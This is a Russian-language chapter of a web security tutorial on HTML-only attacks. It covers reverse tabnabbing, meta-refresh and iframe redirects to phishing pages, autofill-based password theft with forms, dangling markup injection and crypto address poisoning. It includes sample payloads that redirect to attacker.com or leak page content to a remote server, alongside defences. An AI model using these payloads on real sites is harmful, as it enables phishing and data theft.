Client-Side Fundamental
  • Добро пожаловать
  • Глава 1 - Начало работы с XSS
    • Браузерная модель безопасности
    • Знакомимся с уязвимостью XSS
    • Более глубокое понимание XSS
    • Опасный псевдопротокол javascript
  • Глава 2 - Защита и Обход для XSS
    • Первая линия обороны от XSS - Sanitization
    • Вторая линия обороны от XSS - CSP (Content Security Policy)
    • Третья линия обороны против XSS - сокращение области воздействия
    • Последние методы защиты от XSS - Trusted Types и встроенный Sanitizer API
    • Обход защитных мер - Обычные способы обхода CSP
    • Обход защитных мер - Mutation XSS
    • Самая опасная XSS - Universal XSS
  • Глава 3 - Атаки без JavaScript
    • Кто сказал, что для атаки обязательно выполнять JavaScript?
    • Prototype Pollution - Эксплуатация цепочки прототипов
    • Может ли HTML влиять на JavaScript - Введение в DOM clobbering
    • Template Injection in Frontend - CSTI
    • CSS Injection - Атака с использованием только CSS (Часть 1)
    • CSS Injection - Атака с использованием только CSS (Часть 2)
    • Можно ли атаковать, используя только HTML
  • Глава 4 - Межсайтовые атаки
    • Same-origin Policy и Same-Site
    • Введение в Cross-Origin Resource Sharing (CORS)
    • Проблемы Cross-Origin безопасности
    • Cross-Site Request Forgery (CSRF)
    • Спаситель от CSRF - Same-site cookie
    • От same-site до главного site
    • Интересная и практичная Cookie Bomb
  • Глава 5 - Другие интересные темы
    • То, что вы видите, это не то, что вы получаете - Clickjacking
    • Эксплуатация MIME Sniffing
    • Атаки на цепочку поставок во фронтенде - Attacking Downstream from Upstream
    • Атаки на веб-фронтенд в Web3
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 1)
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 2)
Powered by GitBook
On this page
  • Reverse Tabnabbing
  • Перенаправление с помощью meta tags
  • Атаки с использованием iframe
  • Атаки с помощью form
  • Dangling Markup Injection
  • Заключение
  1. Глава 3 - Атаки без JavaScript

Можно ли атаковать, используя только HTML

Даже если для выполнения атаки используется HTML, путем воздействия на JavaScript через "DOM clobbering" или атаку напрямую через "prototype pollution". Цель здесь - нарушить работу существующего кода JavaScript. Даже при внедрении CSS вам все равно потребуется возможность добавления стилей для выполнения атаки, поэтому она не применима в каждой ситуации.

Но что, если у вас есть только HTML и нет ни JavaScript, ни CSS ? Можно ли все равно запустить атаку?

Ответ - да.

Однако важно отметить, что когда мы говорим об "атаках", это не обязательно означает XSS. Например, внедрение CSS для кражи данных также считается атакой, как и облегчение попыток фишинга. Есть много типов уязвимостей, и они обычно оцениваются по степени серьезности и воздействия. Естественно, атаки, осуществляемые только с использованием HTML, могут иметь меньшую серьезность, что является нормальным.

Тем не менее, это все равно интересно, не так ли? Некоторые, казалось бы, незначительные уязвимости могут стать мощными, когда они используются в комбинации. Поэтому, даже если воздействие не высокое, они все равно заслуживают внимания.

В заключение хотелось бы отметить, что некоторые из техник, упомянутых в этой статье, уже исправлены и существуют только в старых браузерах или в истории. Я буду специально упоминать такие случаи.

Reverse Tabnabbing

В чем проблема этого кода?

<a href="https://blog.com" target="_blank">My blog</a>

Это всего лишь гиперссылка. В чем может быть проблема?

Хотя с этим кодом в настоящее время нет проблем, такая маленькая проблема существовала до примерно 2021 года.

Когда вы кликаете на эту ссылку, чтобы перейти на страницу блога, открывается новое окно. На странице блога исходную страницу можно открыть, используя window.opener. Хотя данные прочитать невозможно из-за разных источников, можно перенаправить исходную страницу, используя window.opener.location = 'http://example.com'.

Какое это имеет значение?

Рассмотрим практический пример. Предположим, вы просматриваете Facebook и наткнулись на ссылку на статью в одном из постов. Прочитав статью и вернувшись на вкладку Facebook, вы видите сообщение о том, что вы вышли из системы, и вам нужно снова войти. Что вы сделаете?

Я уверен, что некоторые люди войдут снова, потому что это выглядит нормально. Однако на самом деле страница входа - это сайт фишинга. Страница статьи использовала window.opener.location для перенаправления, а не исходная страница Facebook. Хотя пользователи могут ясно видеть по адресной строке, что это не Facebook, суть в том, что пользователи не ожидают, что исходная страница будет перенаправлена после нажатия на статью.

Этот тип атаки называется reverse tabnabbing, при котором URL-адрес исходной вкладки изменяется через вновь открытую страницу.

Если вы являетесь frontend-разработчиком и у вас установлен ESLint, вы, вероятно, столкнулись с правилом, которое требует, чтобы у гиперссылок было rel="noreferrer noopener". Это делается для отделения вновь открытой страницы от исходной страницы, чтобы на новой странице не было opener, что предотвращает этот тип атаки.

Таким образом, с 2023 года, если вы используете последнюю версию браузера, у вас не будет этой проблемы. Открытие новой гиперссылки не позволит новой странице получить доступ к opener, поэтому старая страница не будет перенаправлена на странные места.

Перенаправление с помощью meta tags

Один из значений слова "meta" - "self". Например, данные - это информация, а метаданные - это "data that describes data". В контексте веб-страниц meta-tag служит для той же цели, то есть для описания веб-страницы.

Наиболее распространенные метатеги:

<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="description" content="Attacking via HTML" />
<meta property="og:type" content="website" />
<meta property="og:title" content="Attacking via HTML" />
<meta property="og:locale" content="zh_TW" />

Эти теги можно использовать для указания кодировки страницы, свойств области просмотра, описания, заголовка Open Graph и многого другого. Вот для чего используются метатеги.

Помимо этих, есть один атрибут, которым особенно интересуются злоумышленники: http-equiv. На самом деле, я использовал этот атрибут при демонстрации CSP ранее. Кроме CSP, он также может использоваться для перенаправления веб-страниц:

<meta http-equiv="refresh" content="3;url=https://example.com" />

Поскольку перенаправление возможно, злоумышленник может использовать тег <meta http-equiv="refresh" content="0;url=https://attacker.com" />, чтобы перенаправить пользователей на свою страницу.

Сценарий схож с reverse tabnabbing, но разница в том, что пользователю не нужно ничего нажимать. Например, предположим, что на сайте электронной коммерции есть страница продукта, которая позволяет использует HTML-комментарии. Я могу оставить комментарий, содержание которого - вышеупомянутый тег <meta>.

Когда кто-то нажмет на этот продукт, он будет перенаправлен на мою тщательно подготовленную фишинговую страницу, и есть большая вероятность, что он может принять ее за оригинальную страницу и ввести свою информацию о кредитной карте.

Защита от этого типа атаки - фильтрация мета-тегов в пользовательском вводе, что может предотвратить такие атаки.

Атаки с использованием iframe

Тег <iframe> позволяет встраивать другой вебсайт в свой собственный. Наиболее распространенный пример - система комментариев блога или встраивание видео с YouTube. При обмене видео YouTube вы можете напрямую скопировать HTML, содержащий iframe:

<iframe  
  width="560"  
  height="315"  
  src="https://www.youtube.com/embed/6WZ67f9M3RE"  
  title="YouTube video player"  
  frameborder="0"  
  allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"  
  allowfullscreen>
</iframe>

Когда сайт позволяет пользователям вставлять самих себя iframes, это может привести к проблемам. Например, он позволяет вставить фишинговую страницу:

Это всего лишь простой пример, но с более большими усилиями CSS можно настроить, чтобы он соответствовал стилю всего сайта, делая его еще более достоверным.

Более того, iframes могут частично манипулировать внешним сайтом.

Как и в случае с reverse tabnabbing, когда веб-сайт может получать доступ к window других страниц, он может в основном использовать window.location = '...', чтобы изменить навигацию из этого окна на другую страницу.

Для iframes это можно сделать так:

// top refers to the top-level windowtop.location = "https://example.com";

Однако, этот шаг будет заблокирован браузером, и появится следующее сообщение об ошибке:

Как предлагает сообщение об ошибке, поскольку эти два окна не имеют единого происхождения, навигация блокируется. Однако есть способы обойти это. Просто измените iframe так:

<iframe  src="https://attacker.com/"  sandbox="allow-scripts allow-top-navigation"></iframe>

Когда у iframe есть атрибут sandbox, он входит в режим песочницы, где многие функции автоматически отключены и должны быть явно включены. Могут быть включены следующие функции:

  1. allow-downloads

  2. allow-forms

  3. allow-modals

  4. allow-orientation-lock

  5. allow-pointer-lock

  6. allow-popups

  7. allow-popups-to-escape-sandbox

  8. allow-presentation

  9. allow-same-origin

  10. allow-scripts

  11. allow-top-navigation

  12. allow-top-navigation-by-user-activation

  13. allow-top-navigation-to-custom-protocols

В нашем случае включение allow-scripts означает, что страницы внутри iframe могут выполнять JavaScript, а allow-top-navigation означает, что они могут перенаправлять страницу верхнего уровня.

Конечная цель - достичь того же эффекта, что и в предыдущем примере с мета, перенаправляя веб-сайт на фишинговую страницу и увеличивая шансы на успешный фишинг.

Что касается защиты, если на сайте не должно быть iframes, убедитесь, что они проходят через фильтры. Если они должны использоваться, не позволяйте пользователям указывать сами атрибут sandbox.

Атаки с помощью form

Что, если сайт позволяет пользователям вставлять элементы, связанные с формами, такие как <form>?

На самом деле это похоже на вышеупомянутый пример с iframe. Вы можете создать поддельную форму с сопутствующим текстом, сообщающим пользователю, что он вышел из системы и должен снова войти в нее и т.д. Если пользователь заполнит свое имя пользователя и пароль и нажмет "ОК", информация об учетной записи будет отправлена злоумышленнику.

Но возможности форм не ограничены этим. Давайте рассмотрим реальный пример.

В 2022 году специалист по информационной безопасности по имени Гарет Хейс обнаружил уязвимость в infosec Mastodon, где HTML можно было вставлять в твиты. Однако из-за строгой CSP стили не могли быть вставлены, и JavaScript не мог быть выполнен.

В такой сложной среде он использовал форму в сочетании с механизмом автозаполнения Chrome для осуществления атаки. Многие браузеры теперь имеют функцию автоматического запоминания паролей и их автоматического ввода. Ваша поддельная форма - не исключение и будет заполнена уже запомненным именем пользователя и паролем.

Браузеры также умны. Если поля ввода для имени пользователя и пароля преднамеренно скрыты, они не будут автоматически заполнены. Однако, похоже, они недостаточно умны, потому что простая установка прозрачности на 0 может обойти это ограничение.

Но как заставить пользователя нажать кнопку для отправки формы?

Хотя стили использовать нельзя, классы использовать можно! Вы можете украсить поддельную форму существующими на странице классами, чтобы она выглядела похожей на оригинальный интерфейс. Таким образом, она кажется более безопасной и может привлечь внимание пользователя и клики. То же самое относится к прозрачности; можно использовать существующие классы.

Конечный результат выглядит так:

Когда пользователь нажимает кнопку в ячейке, форма с именем пользователя и паролем автоматически отправляется. Иными словами, если пользователь нажимает на кажущуюся обычной иконку, его учетная запись будет украдена!

Dangling Markup Injection

Помимо упомянутых атак, есть еще один метод атаки, называемый инъекцией незакрытой разметки. Его легче понять на примере:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta http-equiv="Content-Security-Policy" content="script-src 'none'; style-src 'none'; form-action 'none'; frame-src 'none';">
</head>
<body>
  <div>
    Hello, <?php echo $_GET['q']; ?>
    <div>
      Your account balance is: 1337
    </div>
    <footer>
      <img src="footer.png">
    </footer>
  </div>
</body>
</html>

В этом примере мы можем вставить HTML на страницу через строку запроса. Однако проблема в том, что CSP очень строгая и не разрешает JavaScript, CSS, или даже iframes. В таком случае как мы можем украсть данные со страницы?

Мы можем передать: <img src="http://example.com?q=, ключевой момент в том, что этот тег <img> не закрыт, и атрибут не заключен в двойные кавычки. После соединения с оригинальным HTML, это становится:

<div>
  Hello, <img src="http://example.com?q=">
  <div>
    Your account balance is: 1337
  </div>
  <footer>
    <img src="footer.png">
  </footer>
</div>

Оригинальный текст на странице <div>Your account balance... становится частью src до тех пор, пока он не встречает другую ", которая закрывает атрибут, а затем встречает >, которая закрывает тег. Иными словами, используя преднамеренно незакрытый тег, мы успешно делаем содержимое страницы частью URL, которая затем отправляется на наш сервер. Этот тип атаки называется инъекцией незакрытой разметки.

Эта атака полезна, когда Политика Безопасности Контента (CSP) строгая, и вы хотите украсть данные со страницы. Вы можете попробовать эту технику атаки. Однако важно отметить, что у Chrome есть встроенный механизм защиты, который не загружает URL, если в src или href присутствуют < или переносы строк.

Поэтому, если вы выполните вышеуказанный HTML в Chrome, вы увидите, что запрос заблокирован. Однако Firefox в настоящее время не имеет подобного механизма и будет с удовольствием отправлять запрос за вас.

Но если ваша точка инъекции случайно находится внутри <head>, вы можете обойти ограничения Chrome с помощью <link>:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta
      http-equiv="Content-Security-Policy"
      content="script-src 'none'; style-src 'none'; form-action 'none'; frame-src 'none';"
    />
    <link rel="icon" href="http://localhost:5555?q=" />
  </head>
  <body>
    <div>
      Hello,
      <div>Your account balance is: 1337</div>
      <footer>
        <img src="footer.png" />
      </footer>
    </div>
  </body>
</html>

Полученный запрос будет:

GET /?q=%3C/head%3E%3Cbody%3E%20%20%3Cdiv%3E%20%20Hello,%20%20%20%3Cdiv%3E%20%20%20%20Your%20account%20balance%20is:%201337%20%20%3C/div%3E%20%20%3Cfooter%3E%3Cimg%20src= HTTP/1.1

После декодирования URL вы увидите оригинальный HTML, успешно украв данные.

Заключение

По сравнению с упомянутыми ранее техниками атаки, атака с использованием только HTML имеет более высокий порог. Пользователям может потребоваться нажатие на ссылки или кнопки, и для достижения цели по краже ценных данных может потребоваться сочетание с тщательно подготовленными фишинговыми сайтами и т.д.

Однако, несмотря на это, мы должны признать, что эти методы все еще оказывают влияние, и мы не должны недооценивать атаки, которые направлены на пользовательские привычки.

Например, в мире криптовалюты вы можете перевести 0 единиц валюты с чужого счета на другого человека. Например, Алиса может перевести 0 единиц Бобу, а Петр может передать 0 единиц Алисе. Пока сумма составляет 0 единиц, вы можете перевести ее как угодно, а комиссию за транзакцию платит лицо, инициирующее операцию.

Согласно здравому смыслу, хотя помочь другим перевести деньги странно, кто бы занимался таким делом? Балансы Боба и Алисы не изменятся, и Алиса потеряет 100 единиц на комиссии за транзакцию. Почему он должен это делать?

Но как только это сочетается с обычными привычками пользователя при переводе, это становится интересной техникой атаки.

Адреса счетов в блокчейне представляют собой длинные строки, например: 0xa7B4BAC8f0f9692e56750aEFB5f6cB5516E90570

Поэтому при отображении на интерфейсе, из-за длины, могут отображаться только первые и последние несколько символов, такие как 0xa7B.....0570, с ... в середине, чтобы представить опущенные символы. Хотя адреса генерируются случайным образом и почти невозможно сгенерировать одинаковый адрес, если одинаковыми являются только первые и последние несколько цифр, его можно сгенерировать с небольшим затратами времени.

Например, я могу сгенерировать этот адрес: 0xa7Bf48749D2E4aA29e3209879956b9bAa9E90570

Вы заметили, что первые и последние несколько цифр идентичны? Поэтому, когда этот адрес отображается на интерфейсе, он также будет отображаться как 0xa7B....0570, что точно также как и предыдущий адрес.

И многие пользователи, делая переводы, если они часто переводят на один и тот же адрес, склонны напрямую копировать адрес из истории транзакций, потому что это удобно и быстро. В конце концов, они используют свои собственные кошельки, так как могут быть чужие данные о транзакциях?

Предположим, что адрес кошелька A на бирже выше 0xa7B4BAC8f0f9692e56750aEFB5f6cB5516E90570, и он отображается как 0xa7B....0570 на интерфейсе, я намеренно создаю адрес кошелька, который одинаков до и после, и использую упомянутую передачу 0-единиц с учетной записью A для перевода на этот поддельный адрес.

С упомянутой выше привычкой пользователя, как только A скопирует и вставит из истории транзакций, будет скопирован поддельный адрес, который я создал, и деньги будут переведены на этот поддельный кошелек.

И на самом деле довольно много людей имеют такую привычку, и даже крупнейшая в мире биржа криптовалют, Binance, была обманута на 20 млн. долларов США в августе 2023 года из-за этой атаки.

Из этого случая мы видим, что некоторые, казалось бы, незначительные вопросы, в сочетании с другими методами эксплуатации, могут стать чрезвычайно мощными.

PreviousCSS Injection - Атака с использованием только CSS (Часть 2)NextSame-origin Policy и Same-Site

Last updated 8 months ago

После того, как это поведение было , оно вызвало много обсуждений. Многие люди были удивлены существованием этого поведения. Начальное обсуждение можно найти здесь: . Только в 2019 году спецификация изменила поведение по умолчанию в этом PR, сделав target=_blank подразумевающим noopener: .

и последовали за ним, и, хотя Chromium немного опоздал, он тоже успел к концу 2020 года: .

Приведенный выше HTML перенаправит веб-страницу на через три секунды. Поэтому этот тег часто используется для автообновления чистого HTML, до тех пор, пока перенаправленная страница относится к самой себе.

Unsafe attempt to initiate navigation for frame with origin ‘ from frame with URL ‘. The frame attempting navigation is targeting its top-level window, but is neither same-origin with its target nor has it received a user gesture. See .

Эта уязвимость обнаружена в и . Последний даже предложил вознаграждение в $1000 за эту уязвимость.

Для более практических примеров и вводного курса по iframes вы можете обратиться к и .

Для получения дополнительной информации обратитесь к оригинальной статье:

раскрыто
Windows opened via a target=_blank should not have an opener by default #4078
Make target=_blank imply noopener; support opener #4330
Safari
Firefox
Issue 898942: Anchor target=_blank should imply rel=noopener
https://example.com
https://attacker.com/‘
https://example.com/‘
https://www.chromestatus.com/features/5851021045661696
codimd
GitLab
Preventing XSS is not that easy
Iframe and window.open dark magic
Stealing passwords from infosec Mastodon - without bypassing CSP